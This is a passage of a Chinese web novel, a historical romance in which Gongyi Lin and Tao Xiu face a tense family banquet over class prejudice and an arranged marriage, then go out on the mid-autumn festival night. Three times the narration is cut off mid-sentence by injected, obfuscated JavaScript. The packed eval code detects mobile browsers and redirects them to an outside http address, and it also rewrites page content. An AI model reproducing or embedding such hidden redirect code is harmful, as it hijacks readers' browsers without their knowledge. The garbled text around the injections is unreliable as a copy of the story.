根本等不及司子慢里斯条地系这衿带那衿带,公仪林一把推开他就冲了出去,在院子里打水洗脸漱口,一气呵成。跑出院门时突然撞到公仪檀,“兄长找我有事?等我回来再说,很快就回,很急——”边解释边没了人影。 留下一个字都还没说出口的公仪檀愣在原地,“大清早,他有何急事?” 司子慌忙跑到公仪檀跟前,恭恭敬敬回道:“二公子的旧友要来拜访,他是追送帖人去了。” “送帖人有问题?” “我不是很清楚。”司子想,还是谨慎点好。 公仪林出了大门就往东疾驰,幽静的小道上没有几个人,立即绕过竹林拐到大路上,清晨的街上已人来人往,都为后日仲秋节忙碌。他在人流中穿梭两个来回一无所获,不禁懊恼陶修行事极不近人情,好像把个大活人放在油锅里不紧不慢地煎烤,他还怡然自乐。 公仪檀就守在院外等他,抱臂打量门楣的匾额,总觉得“绒华院”三个字写的太过随心所欲,像是出自醉了三天之人的笔下,又像握着一个不会写字的人的手强扭出来的字形,可能是前者,毕竟小弟昨晚轻易就醉了。听见马蹄声,他回头见是心不在焉的公仪林回来,笑问:“没追上?很急的事?” “刚才你找我作甚?” “用了早膳后我们都去公仪府,我想喊你早些醒来。” 差点忘了这件大事,族人聚集到一起的家常便饭又将上演成对他口诛笔伐的“鸿门宴”,不过还好,这次有公仪檀顶着,公仪檀绝对会成为宴席的中心人物。 去公仪府的两辆马车出发后,走到半途的公仪檀沉思半天还是忍不住问跟在后面的司子,“槐序等的究竟是谁?他说会携挚友一起去公仪府,他也认识公仪府的人?” 司子琢磨一瞬,想挑紧要的回复大公子:“这个陶修的经历很奇怪,我嘴笨,三言两语都无法说清楚。” 刚听到“陶修”二字,公仪檀就已勃然变色,仰头闭目压下怒火,冰冷的命令道:“那就细细跟我说来,几年了,为何此人还阴魂不散地跟着槐序?” 司子从他话中听出点意思来,看来大公子多多少少是知道这人和公子关系的。 “他们一直都有来往。起先那个陶修是京口大营一个不起眼的小兵,后来因功获勋,前年成了漳南县尹。” “你说什么?他是漳南县尹?”公仪檀震惊地勒马停下,漳南的事情他听过不少,也知道两年前有个新上任的城主,竟然是他耿耿于怀了几年的人,“他凭什么做到县尹位置?” “大公子对他一无所知?我以为那年西海县您见过他后,对他有所了解。不过陶修的经历确实是这几年才变得扑朔迷离,他现在还是梁国失踪多年的萧世子,此趟来京正是要进宫叩谢天恩。” 公仪檀从震惊转为诧异和怀疑,脑中闪现当年那个敢用手扯住他马鞭的少年,不卑不亢说了句他记忆犹新的话:“贵无常尊,贱不常卑。” 他在司子乱七八糟的讲述中大概知晓陶修的身世,此人能走到现在这步,还是他那不争气的弟弟做了助推。 马蹄在干干净净的青石路上落下清脆的蹄音,公仪檀把马缰紧紧缠在手上,缠的十指发白发红,沉默很久后,平静地问司子:“陶修与你二公子关系如何?” 司子不敢回答,竭力在贫瘠的脑海里搜索高雅的辞藻来形容两人间的关系,吞吞吐吐说:“深情厚谊、刎颈之交、水乳交融……” “够了!”公仪檀终于暴喝一声,哪句话都往他心坎上戳,“怎么刎颈之交都出来了?” “上回,陶公子喉咙被割过,这不正是刎颈之交吗?” 公仪檀仰望轻秋碧蓝的天穹,闭上双目重重叹息一声,他这个兄弟啊,因处处有他这个兄长在前面做盾,从小更娇生惯养,性子飞扬恣意,行事嚣张火热。几年前他以为公仪林对陶修的行径是从一群富贵子弟处学到的新鲜癖好,少年心性,调戏玩弄一下,新鲜劲一过,诸事也就都过去了,哪晓他竟动了真格,“这个丢人现眼的东西。” 绒华院守门的门子退居二线,把位置让给了神思不定的公仪公子。公仪林斜靠在墙上焦灼的伸头等待,突然捂鼻打了几个喷嚏,似乎听到有人在骂他。 忽有哒哒的蹄音入耳,几乎等到睡着的公仪林猛然惊醒迅速跳出门槛。只见思念已久的人骑着高头大马自东边竹林缓缓而来,马蹄声轻缓有节奏,那人身背长剑,双手抓辔,浑身松弛惬意,笑容儒雅温和,就像透过竹林的缝隙流淌在他身上的阳光,寸寸缕缕都透着世态安宁的美好。 他只穿了身再平常不过的旧青布衣裳,袖子紧束在腕部,身姿稳健劲腰挺拔,却说不出的贵气矜持。 陶修跃下马背走到公仪林跟前,两人对视轻笑了片刻,公仪林忽退后两步躬身行礼,另一个则轻快的拱手回敬一下。 玩闹的礼节过后,公仪林难抑心口的澎湃,忍不住伸手触碰陶修的耳垂。 陶修轻咳一声示意身后:“注意分寸。” 公仪林这才发现他后面跟着胡峤,方才竟完全没发现。 “为何不清早就过来,居然先送封拜帖吊人胃口,陶城主学会写字就了不得了?” “这深宅大院,冒然来访怕难见你面。明日就是仲秋节,我就这么突然来了,会不会有不妥?” “几日前我父母、兄长都来了,今年难得家人团聚。你能在仲秋节前赶来真是太好了,我就不必担忧明晚没人跟你一块赏月。” 陶修缩回跨了一半门槛的腿,极不自在地问:“你兄长,也来了?” “嗯,昨日刚到。这会他们都去大伯家,等你歇好就跟我同去,大伯正想见见萧家的人。” “我只想来见你,这下可给我出了个难题啊槐序。” 公仪林并不知他与公仪檀之间的水火不容,低声解释道:“他们对你我二人的事一无所知,轻松些,你可是贵人,到了公仪府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555435|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连我们家的老族长都要出来迎接你。” 确实,听见司子和山寒几乎挤破门框抢着来禀报萧琢和公仪林已到门外时,公仪家老老少少都起身迎了出去,唯独公仪檀和被他硬按在身侧的公仪佑稳如泰山,极其显眼的坐在大堂两侧摆好的案桌前。 公仪檀心里被纠结、愤怒、迷惘的情绪充斥的乌烟瘴气,却未曾在表面露出一点痕迹,但此刻他实在难以对他们二人的事装作毫不知情还要恭敬的迎出去,坐如磐石,大抵是他最后的倔强了吧。 公仪鸾一眼就认出与公仪林并列而行的陶修,很难将此人与几年前见过的少年联系到一起。整日与一群兴趣相投、涂脂抹粉的清客混在一块几乎过上神仙般日子的公仪鸾突然自惭形秽,他们这群人刻意的高雅、着重的打扮、穷尽手段追求超脱尘世超然物外的执念,却被眼前这个仅穿了身青布衫的年轻人清朗的外表轰然击碎,他们抱在一起吹拉弹唱时的疯癫就像丑角,高洁潇洒地吟咏简直矫揉造作。 原来美和悠然自得都是天生而成,并非刻意为之。 都说萧室的人个个英气逼人,果然他娘的逼人眼盲,爱美到极致的公仪鸾愤愤不平。 陶修以漳南县尹身份在公仪达面前行了揖礼:“下官陶修,拜见公仪大人。正是团圆佳节,不知会不会打搅到老大人府上的团聚。” “哪里哪里,多一个人多份热闹,”因陶修未正式被梁室认回,他的身份就还是个未知数,公仪达暂时还不能将他另眼相看,扶起他的双臂从容客气地回道:“陶县尹不需行礼,里面请。” 一一与旁边公仪家的人行礼之后,陶修便随众人进入堂内,心中还在诧异为何不见公仪檀。待走到门边一眼就看见空荡荡的大堂内肃然安坐的男子,还有一个挣扎要起来硬被他五指按在掌中的孩子。 众人按次序落坐,陶修是客,被安排坐在公仪曲的右边,对面正是公仪两兄弟。 陶修暗暗打量公仪兄弟俩的不同,虽都是统领千军万马的强硬之人,但外形气质可谓天壤之别,一个神采飞扬剑眉秀目,一举一动疏朗大方,另一个则冷峻严肃不苟言笑,威仪棣棣,有儒者之气。 果然每家每户的长子都愿以沉厚寡言的面目示人。 这群掌握着大陈部分命脉的人在宴席上能闲谈的话题实在太多,朝堂的内斗、兵马的统御、江北的威胁、近几年边境的胜仗,性格火热的公仪氏则满嘴喷着口水,愤愤地说要拔剑站在第一场仗的最前面,那沉稳些的则实实在在分析当前的实力,有多大把握抵抗周国人人都有的“献平江南策”的野心。 公仪檀对族兄族弟们的侃侃而谈视而不见,时刻监视着左边的公仪林和对面陶修的举动。“这陶修果然一表人才,但他从一个军户到如今成为公仪家的客上宾纯属幸运,这都是他不该得的东西。” 他沉浸在如何惩治陶修的设想中,手臂突然被公仪林戳了一下,“你脸色不好,刚才见你独自坐在这里,哪里不舒服?” “昨晚贪杯了,头还有点疼。” 公仪林随手替他倒杯滚烫的茶水,“多喝热茶,热茶是个好东西。”倒茶的手臂在公仪檀跟前晃悠,声音却是飘忽的。公仪檀见他目光盯在对面正向族长讲述江矶营水师排兵布阵的陶修身上,胸口一阵滞闷,仰头一口吞下滚热的水,心口就更疼了。 125.家宴上的舌战 “自十二年前吴大将军兵败被俘后,江矶营的水师再没正式出战过,但卢将军殚精竭虑操练一批又一批水师从未懈怠,他手下的将士个个身怀绝佳的水战能力,哪怕年长已归乡的人也能遇战必归,厚积多年只待有朝一日能在江上一雪前恨,拿回属于大陈的东西。”陶修顺着公仪达的话题,很快就提到卢思苌。 公仪达见这个梁国的人竟把大陈的事说的和旁人一样坦然,心道此人确实对梁国还没有归属感,不知去过江陵后会如何抉择,不禁又想到他确实是块做质子的好料,“卢将军一直想完成恩师吴老将军的夙愿,这些年他戍守江边矢志不渝,那颗赤诚之心,连我见了都自愧弗如。”他顿了一下又问:“陶县尹在漳南利用漳水和濛河训练自己的水军,实在难能可贵。” 陶修谦卑地解释道:“我自江矶营出来,唯在水上还有几分施展本领的空间,漳水、濛河在丰水季宽而深,虽不能畅行大量的楼船战舰,艨艟小舟却是畅通无阻,淮水复杂,真有用得到的一天,小舟也能在水道上发挥大作用。” 听到这样回答的公仪檀非常吃惊地望着对面的年轻人,用带有几分傲慢的语气问:“你手中有几条船?” 陶修见他主动问话,和他兄弟之间的秘密使自己心里先有了几分愧色,忙欠身回道:“我到漳南不到两年,能力有限,现下艨艟小舟只有八十条。” “那也是很多了,你城中的人马岂不是旱陆两面皆精?” 涉及兵马,陶修惶恐不敢答。 公仪林十分自豪地向兄长夸赞道:“才两年,漳南在陶修手里就成了与兄长你治所所在的醴县一样的壁垒,铜墙铁壁一样坚守在边境。陶修不但有治城守城的能力,领兵打仗一样勇猛不怯。” “是吗,你就是这样在圣上面前,把一个军户出生的人一路举荐至现在与你兄长相近的位置?” 这句话令在场很多人大笑出声,开始小声议论陶县尹过去的出身。 身份低微的人的自卑他们这群人是不能懂的,朗朗笑声并不全然是恶意和嘲讽,他们无法理解陶修此刻的心境。 陶修在众人的笑声里尴尬一笑,如今的位置确实靠了公仪林。 公仪林没听出兄长的敌意,但这也不像是他能说出口的话,愣了一瞬,怫然不悦,扫了一圈还在企图收起笑容的族人,大声问道:“家世、地位、官职,我们这些所谓的高门望族,又有几人能力比军户出身的人强,论功勋,谁能比得上这个小军户,”他把怒气掷向还流连在陶修美好姿容的公仪鸾身上:“你,能拿得起他身旁的长剑?” 公仪鸾指指自己胸口,堂弟这是在质问自己?他光顾着看陶修,并不懂公仪林的怒火燃自何处,迷迷糊糊地回道:“能啊,一把剑而已,怎么拿不起?” “你能?你的柔筋脆骨能杀敌,你的高雅清谈能保大陈安稳,先把你帽冠上的花摘下再说?” 这时,有个不知陶修萧梁身份的公仪族人也拿贱户一事来开玩笑:“诸人才能不同,各司其职,什么人做什么事,有人就算他爬的再高擅长的还是杀猪屠狗?” 公仪林睨视过去,见是和李颂同掌舆马的四哥公仪白鹤,冷言冷言回敬一句:“那四哥清扫马厩的本领可谓是无人能及!” 又一个族人开口道:“你兄长说的对,陶县尹今日在此处与我们同席,不都是你的功劳吗?我听说你几番举荐,陛下不胜烦扰才答应的,不然凭他薄如蝉翼的寸功,连山寒的位置都做不到吧?” 山寒曾是公仪达在路边捡回来的乞丐,已在公仪府做了几十年大仆,如今他走出公仪府的大门也是有点脸面的人,拿陶修跟山寒这个仆从比较,公仪林的双目早就暗燃火焰。 守在门外与司子正在挤眉弄眼互相看不顺眼的山寒听见此话,当下打个寒颤,这火怎么烧到自个身上了?司子也伸长耳朵要听公子如何发飙。 倒先听见陶修的声音,语气很温和,很客气,“陶某惭愧,若不是你们今日提醒,我还以为县尹之位名正言顺,全靠我杀猪屠狗的本领得来的,原来是景风兄力荐了陶某,为何你从没跟我提起过?” 陶修平静笑问对面怒火中烧的公仪林。 他也是真的郁闷,每回来京城与这些和他不属于一个世界的人坐一起,总会得到几句不咸不淡的侮辱,几次了,从不例外,不论何人,都爱拿他的出身奚落一番,似乎这样方能显示他们的高贵。 公仪林早被堂兄弟们轻薄的言语激得横眉怒目,耐心地忍耐着,听完陶修自嘲的话后,缓缓从坐垫上爬起来,刚才还给公仪檀倒水的茶壶因他动作过重而倾倒在脚边,滚水泼了一脚都毫无知觉,“何止小小县尹一职,连他几日后进宫谢恩的员外散骑侍郎的官职都是我举荐的,他既是你们眼中的贱户也是能跟你们比肩的梁室后裔,不管哪个身份,他都是同一个人。诸位长兄,公仪家风谦恭谨慎、清廉忠正,积累的世资可不是让你们用来看不起贱户贱籍,把个卑微弱小的人踩在脚底寻求优越感取乐玩的,”他忽而笑了一下:“我们与生俱生的身份只是巧合,会找肚子投胎罢了,如果换个娘胎,我与你指不定还不及陶县尹万分之一,平等的给每人一次机会,恐怕陶修扫马厩都比四哥你扫的好,他就是这样一丝不苟的人。” 铿锵之声落地后,大厅很静,茶盏碰撞声清脆冷冽,一时间无人做声。 突然,从公仪曲身后传出响亮又稚嫩的问话:“哦,我算是听明白了,叔父,你这是在维护陶县尹吗?” 目光聚处,是一直坐在祖父身后耐心剥橘子吃的公仪佑,他不紧不慢往嘴里又塞上一瓣,抬眸笑问公仪林:“屋里都是自家人,你这么维护他?” 小小年纪的人突然叹口气,老神在在地继续说:“不过在座都是公仪家的人,陶县尹一个外人,被围观了肯定需要援手,叔父你做的没错。” 陶修忍不住低头哂笑,来的路上,公仪林提起过这个孩子,说他很会先发制人。 公仪林的无的放矢,说话不着边际让公仪檀很震惊,忙要阻止他继续胡乱扫射,又听见公仪白鹤高声笑道:“槐序啊,今日火气这么大?昨日我见到周敬书,他说五六日不见你人影,叫我代他族妹问你的好。” 大家都知道这小子的命门在何处,果然,一句话就把刚才还刺毛炸腚的年轻人镇住了。 公仪林当场歇火愣在原处,脸色阴翳,目光盯着案几的一角,像被抽了魂。 一直不懂公仪林面临怎样家族压力的陶修自然无法在短时间内弄明白这群人为何都齐齐看向他,也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565721|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出幸灾乐祸的表情。 公仪白鹤的话句话猛然提醒了在场三个人。 先是公仪檀,他已无法像打发小仆一样随意把陶修从公仪林身边弄走或是弄死,只能用正经手段对付,白鹤的玩笑话真是眼下最好的办法了。 再就是一向气儿子迟迟不给汝丘袁家确定答复的公仪曲发问了:“哦,是哪家的姑娘?” “周家的姑娘,我欲将他与周家女子联姻。”公仪达显然越过这位父亲的头强行把侄儿的婚姻给定下了。 公仪林站在案几前,不知是桌子挤了他,还是被脚底的垫子绊住,显然没站稳晃了一下,立即抬头寻找陶修的目光。 陶修非但没给他想要的眼神,连看一眼都不肯,浑身就像坠入冰窟。 陶修是明白了,这是在提公仪公子的婚姻大事呢,即便装得再置身事外,心里还是抽疼一下。 公仪檀悠悠发问:“看来我离的远,已被槐序忘在脑后,联姻的大事都没跟我透露丝毫。可是左仆射周家?” “是周家,周家登门几次,只差槐序一句话。”公仪白鹤回道。 廊上有两个婢女端着菜肴走来,司子伸手接过托盘说:“我送进去。”山寒不甘示弱,接过另一个人的说:“我也送。” 司子很想看看在这修罗的烈焰中,二公子该如何脱身。 公仪达的声音极有魄力,雄厚低缓,不容置疑地跟公仪曲说:“他的亲事,你们夫妻二人不必再操心,听我的安排。槐序一直反感周家姑娘,我让他从陆家、周家选,他又做不出决定,像他现在年岁的几个兄弟谁没成家有室,要拖到何时?”他转问公仪林:“你究竟怎么想的?” “大伯,”公仪林的双目因过分激动而发红,不甘地反问:“周家的谁?大伯今日若能说出个确切的名字来,我明日便和那姑娘成婚?是周家的哪位女子?” “你的意思是不想和没见过的女子成婚?” “我的意思很明白,我的亲事,不需要你们任何人插手。”他把微微发颤的手握成拳藏在背后,看似昂扬傲气,内心慌得一塌糊涂。 老族长又见这张忤逆不羁的脸,又听到违背他意愿的质问,板起面孔冷峻地与之对视。 陶修瞬间感受到公仪达的不怒自威,这个胡子短而浓密、下颌宽硬的族长有磅礴气势,压的在场所有后生晚辈默不作声。他也终于见识到公仪林艰难的处境,难得看见倜傥不羁的锦公子对人露出这副乖孙一样的表情。 若细瞧了,他脸上的桀骜更多过害怕,心上人在此,怎能不奋力一搏拼死一战。 一老一少僵持的时间足够令在场的人汗流浃背,堂内安静无比,连一帘之隔的女眷那边都安静下来。 公仪夫人轻轻掀开帘子一角,看见立于众人跟前正受族长刁难的二儿子,心里一阵酸涩,当即明白公仪林又在因联姻一事受责难,正艰难的抵抗着。 有时候公仪夫人也想弄明白,为何年岁渐长的儿子对成婚一事越发排斥,他究竟在想什么等什么。她委婉地问过几次,得到的是嬉皮笑脸的回答:“母亲,我有喜欢的人,一定替我在佛祖面前发愿,让我能跟他平安在一起。” 永远是这句回答。明明有喜欢的人,却从不见他细细提起那人。 126.我更怕你生气 令人不寒而栗的场面还是公仪佑解了围,他吃掉最后一瓣橘子,慢慢起身拽住陶修一只袖子,清亮的声音如扑灭烈火的甘霖,传遍大堂四角,“大爷爷,这里有个比叔父还长上两岁却也未成家的人?你问他为何也不肯成家?” 险些引爆战火的公仪白鹤松了一口气,他没料到场面会如此僵冷可怕,只不过想戏弄下堂弟罢了。 童稚有趣的声音松动了冰结的场面,公仪达咳嗽一声,挪动发麻的膝盖,拢起袖子,有示弱的意思。只听公仪佑继续说:“他们是挚友,想必是一类人,都是想为朝廷出力不愿过早成家之人。对吧,陶县尹?” 最后还把问题抛给陶修,陶修暗道:这孩子实在是可怕的很,难怪方才挤过来问了我好几个问题。 “小公子说的对,没有一番建树,何以为家!”陶修直了直腰,虽在回复着公仪佑,眼睛却穿透数道好奇的目光同情地落在公仪林身上,似笑非笑地点下头。 既然有人解围,公仪达就顺着台阶下来,年纪大了,被晚辈怒气冲冲盯上片刻,心里竟有点发虚发毛,可能是衰老在身上起了作用,他的话不复年轻时的魄力。 “若两家都有这个意思,何不趁着仲秋佳节把此事定下?槐序,成家并不妨碍你立业,你心中的宏图远志不会因为家室牵绊而有所消磨,做哥哥的希望在回醴县前看见你把此事办妥。” 站在公仪林身后的司子以为此事结束,正替公子躲过一劫高兴,闻言倏地一下把心拧起,同情地看向二公子。 “兄长?我——”虽然来之前就知道今日躲不开这个话题,没想到公仪檀还能“火上浇油”,公仪林就像吃了颗老鼠屎,脸色又扭曲又阴沉。这场家族的团聚,他料想关注点会放在鲜少回来的公仪檀身上,怎么众人还是反过来揪着他的“人生大事”不放? 公仪林第三次望向陶修,有孤立无援的求助,有未处理好此事的愧疚,但陶修冷静避开他的目光,置身事外的模样实在有点冷漠。 公仪檀看到小弟被几番起伏的情绪弄的一言难尽的表情,也意识到自己做的有点太过。 这时,公仪夫人从帘子后面缓步走出来,对长子笑道:“青木,等你下次回来再议此事,这一年我做过三次你兄弟不宜早婚的梦,心中忐忑经常坐卧不安,这一年过来大半我都不敢催他的婚事,就怕应了梦里不好的事。”她走到小儿子面前,拿手帕把他额头的汗都擦了,轻声笑话一句:“这天气也不太热,槐序为何如此急躁,方才你哥给你喝了胡椒水?”拍拍其手臂,领他回到案几前坐下。 当母亲的把话已说到这个份上,连公仪达都不好说什么,此事暂落一段。 公仪佑和陶修似乎很聊得来,吃饭期间二人交头接耳低声细语,虽然交谈的动作很细微,还是被目光如炬的公仪林察觉到了,不知陶修听了那孩子什么话,竟用手遮住额头耸肩憋笑。 实在是个心冷的男人,还是那样,对旁人就肯露出轻松快意的一面。 众人在饭后坐一起随意聊了些话就各自散去。陶修一直被公仪佑牢牢绊在身边,公仪林自始至终都没机会和他说上一句话,而他也像在刻意回避。 将要打道回府时,送公仪曲一家离府的人员较多,公仪林在混乱的人群里总算逮到机会走至陶修跟前,小心谨慎地问:“跟我回去?” 陶修欲穿过人群走向备好的马,公仪林紧随其后,拉住他衣裳一角,故作轻松地问:“方才你和佑儿趴在一起说些什么事?我见你们笑得挺开心。” 陶修左手拽住马辔,用右手梳理几把马鬃,冷冷淡淡回道:“小公子说你常戏弄他、找他麻烦,欲与我合谋整治你,我这算不算泄了密?” “人小鬼大,你答应他了?打算如何整治我?” 陶修知道他今日难过,已在装着轻松,但自己心底也有气,不知从哪生出的狭隘心思,就要让他难上加难,神情淡漠望着他、刺激他:“如果你有什么话要说,还是等回去的吧,我在思索,此趟来的是不是很不凑巧,耽误你办正事。” 公仪林被最后一句逼得急了,扣住他的手腕急问:“你想怎样,你要开诚布公,我现在就去做。” 陶修迅速抽出手,冷眼扫了他一下,没有说话。 公仪曲、公仪檀带来的家口和仆从令小小的绒华院人口倍增,这里大概是整个城中最拥挤的小院,除了两对夫妻的屋里不能随便安插人进去,其他每间房里的人都在将就着睡觉。 陶修和公仪林自然而然挤在一处,他们闭门安歇时,公仪檀伸手似有话要说,忍了一瞬摆手道:“没事了,都早点歇着吧。” 自公仪大府回来,陶修就坐在书案前没有挪动过,话也不肯讲几句。公仪林一直想与他闲谈几句近况,见他沉浸在一本兵书里许久未抬头,此刻心虚连无话找话都做不到。 公仪林解了外衣,仅穿一身雪白的中衣横躺在床上,滴溜溜的双眼盯着青色的帐顶,焦躁地思索对策。 既然陶修这人软硬不吃,那就先软后硬。 翻身打滚三次后还不见陶修有熄灯的意思,终于一跃而起,光着脚走至他身后,一掌拍于他肩上。 掠过陶修的头顶弯下腰,伸出修长的两指直接把书案上灯芯的火焰掐灭,灯火熄灭的刹那,他看见陶修露出惊诧的眼神。 窗外清光似水,如银的月光从窗户倾斜进屋,公仪林双臂撑着书案,先是默默凝视着陶修,然后才沉声开口:“今日让你受嘲是我没能预料到,我以为公仪家的子弟都与旁人不同。若是觉得受到羞辱,尽可从我这里讨回去。” 陶修笑着摇摇头轻叹一口气,合上正在看的书,抬头迎上他担忧的眼睛,说:“你做的已经够好了,与他们一样的身份却能对我这种卑贱的人群感同身受、说上几句维护的话,已胜过大半的人。你违逆族长的决定坚持不与周家联姻时,我真怕你会被老大人打死。” “我更怕你生气。” “我气什么?” “明明都气了一天。什么袁家、周家,我的这些事很乱,远没有你干净利落,我很抱歉。” 陶修顿了片刻才温声说:“槐序,我也是今日才真正体会到你的难处,那位公仪老大人我看着都怕!” 虚惊一场,原来他不但没气,还如此宽宏大量善解人意,公仪林的心、腹瞬间沸腾躁动,从后面一把掰过他的身体,轻轻放倒在竹席上,用手臂压住陶修胸口半趴在他身上,不解地问:“那我向你伸手求助时,为何对我视而不见?” “我只是客,那是你的家事,今日我坐在下面老大人已给了我面子,并未高声斥责你,换是平日你绝没今日轻松吧。你觉得我该如何帮你,站起来对老大人说:不要为难槐序,我就是那个——”陶修不知如何形容,只能朗朗发笑。 “你就是什么?”公仪林掰正他的脸正要吻下去,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575392|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见陶修收了方才的玩闹,严肃地说:“众人在议论你的亲事还不许我有点性子?我是不忍看你被刁难却无能为力,那副模样很可怜,我只好装作什么都没看见。” “当时你要给我个坚定的眼神,今日我必定要进祠堂受罚。” “你待如何?” “这张脸我不要了,我要当众跟他们说,我跟陶城主已经这样了。”说罢,他欺身压上去,密集炽热的吻落在陶修脸上,开始胡乱急躁去撕扯陶修穿的整齐的衣裳,衣缝被拽撕裂的声音尤为清晰。 “手下留情,我这趟出来就带了几件换洗衣裳。”陶修试着转移他注意,拽住他一只手说:“刚才你徒手灭灯的模样很潇洒,我从没试过。” “明晚,我再灭给你看。”公仪林哪还有心思研究这点小事。 陶修拗不过只得顺着他胡来,身上的衣饰还未解下,忽听到又轻又急敲门声。两人心虚地僵于原地齐齐转向门边,隔了片刻,公仪林才恼怒地质问:“这么晚了谁还来敲门。” “叔父,是我啊,佑儿来了。” “兔崽子来这里作甚?”公仪林不耐烦地起身整理装束。 公仪佑进屋后朝月光散落的书案位置摸索,一眼看见雪亮的清辉下端坐的陶修,很诧异此人也在这间屋子,遂问:“我敲门时听到一点动静,你们在密谋什么?是不是陶县尹将我要用蚂蟥吓唬叔父的事透露了?” 陶修哑然失笑,叩着桌面说:“既然是我们的秘密,你怎能轻易就说出口,小公子冤枉我了。” 公仪林大为扫兴,拎起孩子后领问:“你们好歹毒的计划。半夜不睡,你过来做什么?” “跟叔父拉拢拉拢关系。” “不怕给我捶腿?快回屋去。” “不去,父亲叫我来你这里睡,他说那屋太挤,叔父并不缺钱吧,为何不买大点的宅院,瞧今儿早上的院子就像集市一样热闹。” 陶修心思敏锐,今日席上公仪檀傲慢的刁难和那年差点抽下的鞭子,似乎猜到几分他的意思,要叫他今夜和公仪林保持些距离呢,对二人道:“确实夜深了,还是早些睡吧。” 公仪林重重呼出一口气调整情绪,只得愤愤地顺从二人,对侄子下令道:“抱床被子睡地上啊。” 那孩子在未掌灯的屋内继续往地上摸索,嘴里却不甘地嘀嘀咕咕:“为什么你们两个大人可以睡床上,要个孩子睡地上。” “别吓着他。”陶修走过去拍拍公仪佑的头,俯下身哄着他:“如果小公子不嫌弃,我陪你睡地上?” 如此拥挤的小院,竟还空出一张多余的床无人睡,三人抢着往地上挤,叔侄俩把个陶县尹挤得浑身冒汗。 仲秋佳节这日,天蓝云白,秋风舒爽,城中的七街八巷热闹非凡,傍晚时分,天色未黑华灯已上。全院上下除了留下几个守门的门子,其余人都早已收拾停当准备到城中热闹处逛庙会赏灯。 公仪檀夫妇携幼子又带上老父母登上一辆马车已先行一步。陶修和公仪林上马要走时,才想起胡峤一直默默无声跟在后面,自昨日来就没听见他开口说过话,这会正打算携剑出门。 那把剑戾气太重,与今夜安宁、祥和的气氛格格不入,陶修对他说:“胡大哥,城中有趣的地方很多,跟我到了秦淮边上就自行玩儿去吧,把剑留下。” 公仪林也笑道:“今夜城中会有许多出游的小娘子,别吓到她们了。” 127.和你定个终身 今夜城中最热闹的地方莫过于百官府邸往南的秦淮河两岸。 陶修二人寻个店家将马拴了,便融入灯火璀璨的天街之中。仲秋的月在秦淮河面洒下一片碎银似的光,却都不及河中画舫上光彩夺目的花灯来得更吸引人。画舫上娇艳秀美的女子、温文尔雅的清客,撩拨人心的铮铮琴音,吸引无数男女沿河观望。 街道上灯火煌煌,商贩叫喝买卖,往来行人摩肩接踵,陶修穿梭于人流中,挂在店铺两侧或楼宇檐廊上的五彩花灯令他目不暇接,偶尔伸手触碰灯笼的薄壁,感受上面的温热,“是不是每逢节气都这样热闹?” “一年中唯三个节气热闹些,新春、上元和今日的中秋节,你知道灯火照明有多贵,哪怕是王公贵族一年才敢如此奢侈三四次,再往前有片可漫步的长林,树上的灯火全由官家出资,给百姓游览观赏,每年在那里赏月交游的人十分多。” 顿了会,公仪林问:“你饿不饿,我带你去吃东西?” 如此明亮热闹的夜晚陶修是第一次见,对诸事新鲜的他已完全忘记身旁还有个人,他在现场卖字的摊子前驻足,也在兽笼前逗弄里面一窝雪白的兔子,还挤进鱼虫花鸟市场挑奇怪的石头、找会说话的鹦鹉,许久才回首粲然一笑,对公仪林说:“槐序,这一只像廊下的阿九?” 在如此安定祥和的夜晚,公仪林发现陶修就像个天性纯良、玩心未泯的少年,如果今夜常有、天下永世太平多好。 陶修从一堆奇形怪状的石头里挑出一块漆黑透彻的黑曜石,放在灯笼下闭上左眼去观察,咧着嘴企图从中看出花样,那一刻,公仪林决定带他去一个地方。 “前面还有好玩好吃的,别赖在一个地方耗着?” “每一处都有意思,何必急着往前。”嘴里这样说,他还是起身同公仪林一起继续前行。 公仪林在卖花灯的摊子前停留许久,买了两盏粉色花灯,其中一盏递给陶修,笑问:“念念上面的字?” 花灯的一面绘了两朵牡丹,另一面写了“康宁安乐”四字,“我猜你的小名一定是这个寓意,过几日,我们就亲自去你母亲那里问问,看我猜的对不对。” 陶修拎着灯笼愣怔片刻,眼中多了一点忧思,抿唇勉强一笑:“好啊,真想见见她。” 两人继续沿河往前,公仪林第三次问:“你饿不饿?我想带你去喝碗鸡汤,他们家的油酥饼十分薄脆,走不走?” “一块饼,摊上一个‘薄’字,我不懂它究竟会好吃在哪里,饿的时候肯定想它是厚的吧?” “我不知你的话竟这样多,就是你能把一锅酥饼都吃掉我也供得起,走。” 无巧不成书,二人走到谈论的小店门口,脚才迈进去一只,就听见有人兴致勃勃喊了声:“哟,公仪景风?看来你我胃口相似啊,我也正要进去。” 